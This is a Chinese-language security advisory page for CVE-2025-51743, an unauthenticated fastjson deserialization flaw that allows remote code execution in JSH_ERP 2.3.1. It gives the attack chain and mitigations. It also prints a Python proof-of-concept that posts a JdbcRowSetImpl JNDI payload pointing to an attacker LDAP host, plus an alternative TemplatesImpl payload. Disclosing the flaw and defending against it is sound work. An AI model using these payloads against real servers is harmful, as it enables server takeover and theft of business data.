IPBUF安全漏洞报告
English
CVE-2025-51743 CVSS 9.8 严重

CVE-2025-51743 JSH_ERP fastjson反序列化远程代码执行漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-51743
漏洞类型
反序列化漏洞/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
jishenghua JSH_ERP 2.3.1

相关标签

CVE-2025-51743fastjson反序列化漏洞远程代码执行RCEJNDI注入JSH_ERP企业管理系统无需认证高危漏洞

漏洞概述

CVE-2025-51743是jishenghua JSH_ERP企业资源规划系统中的一个严重安全漏洞,CVSS评分高达9.8分,属于紧急严重级别。该漏洞存在于JSH_ERP 2.3.1版本的/materialCategory/addMaterialCategory接口中,由于该接口使用了存在反序列化安全问题的fastjson库处理JSON数据,攻击者可以通过构造恶意的JSON序列化数据,在目标服务器上实现远程代码执行(RCE)。JSH_ERP是一款开源的企业管理系统,广泛应用于中小型企业的财务管理、库存管理、采购销售等业务场景。一旦攻击者成功利用此漏洞,将能够完全控制目标服务器,获取敏感业务数据,包括财务报表、客户信息、供应商数据等核心商业机密。更严重的是,攻击者可以在被入侵的服务器上部署后门程序、挖矿软件或进一步横向移动攻击企业内部网络。由于该漏洞无需认证即可利用,且影响版本较为普遍,对使用JSH_ERP的企业构成了重大安全威胁。

技术细节

该漏洞的核心问题在于JSH_ERP系统使用了存在反序列化安全缺陷的fastjson库。Fastjson是阿里巴巴开源的一款高性能JSON解析库,在Java应用中被广泛使用。然而,fastjson在早期版本中存在反序列化安全漏洞,攻击者可以通过构造特殊的JSON字符串,触发任意类的反序列化,进而执行任意代码。在JSH_ERP的/materialCategory/addMaterialCategory接口中,系统接收用户提交的JSON数据并使用fastjson进行解析,但未对反序列化行为进行安全限制。攻击者可以利用fastjson的@type字段指定任意类,并通过构造恶意构造方法参数,触发JNDI注入或反射调用等攻击手法,最终实现远程代码执行。典型的利用方式是通过com.sun.rowset.JdbcRowSetImpl或com.alibaba.fastjson.JSON反序列化漏洞链,构造恶意payload触发lookup方法进行JNDI注入,加载远程恶意类并在服务器上执行系统命令。由于该接口无需认证即可访问,攻击者可以直接构造恶意请求包对目标系统进行攻击测试和漏洞利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的JSH_ERP系统版本,确认版本为2.3.1且存在/materialCategory/addMaterialCategory端点
STEP 2
步骤2: 构造恶意Payload
攻击者构造包含@type字段的恶意JSON数据,利用fastjson反序列化漏洞,指定com.sun.rowset.JdbcRowSetImpl等可触发JNDI注入的类
STEP 3
步骤3: 部署恶意LDAP服务器
攻击者搭建恶意LDAP服务器,准备好包含恶意Java类(执行系统命令)的Exploit对象,等待目标服务器进行JNDI lookup
STEP 4
步骤4: 发送攻击请求
攻击者向目标服务器的/materialCategory/addMaterialCategory接口发送POST请求,携带恶意序列化payload
STEP 5
步骤5: 触发反序列化
JSH_ERP使用fastjson解析JSON数据时,触发@type指定类的反序列化,进而调用dataSourceName属性的setter方法
STEP 6
步骤6: JNDI注入执行
JdbcRowSetImpl反序列化时调用lookup方法连接恶意LDAP服务器,获取并执行包含恶意代码的Exploit类
STEP 7
步骤7: 远程代码执行
恶意Exploit类在目标服务器上以当前应用权限执行系统命令,攻击者获得服务器完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-51743 PoC - JSH_ERP fastjson deserialization RCE # Target: JSH_ERP /materialCategory/addMaterialCategory endpoint target_url = "http://target-server:8080/materialCategory/addMaterialCategory" # Malicious fastjson payload for JNDI injection # This payload exploits fastjson deserialization to trigger RCE via JNDI lookup payload = { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker-server:1389/Exploit", "autoCommit": True } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } print("[*] Sending CVE-2025-51743 exploit payload...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {json.dumps(payload)}") try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative payload using TemplatesImpl # payload2 = { # "@type": "com.alibaba.fastjson.parser.ParserConfig", # "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", # "_bytecodes": ["base64_encoded_malicious_class"], # "_name": "poc", # "_tfactory": {}, # "_outputProperties": {} # }

影响范围

jishenghua JSH_ERP 2.3.1

防御指南

临时缓解措施
在未完成正式修复前,建议采取以下临时缓解措施:首先,通过防火墙或负载均衡设备限制对/materialCategory/addMaterialCategory等敏感接口的访问,仅允许受信任的IP地址访问;其次,在应用配置中启用fastjson的安全模式(ParserConfig.getGlobalInstance().setSafeMode(true)),禁用autoType功能以防止反序列化攻击;此外,可以在Web应用防火墙(WAF)中配置规则,检测并拦截包含@type字段或可疑序列化特征的JSON请求;最后,建议临时关闭或限制该接口的可用性,直至完成安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表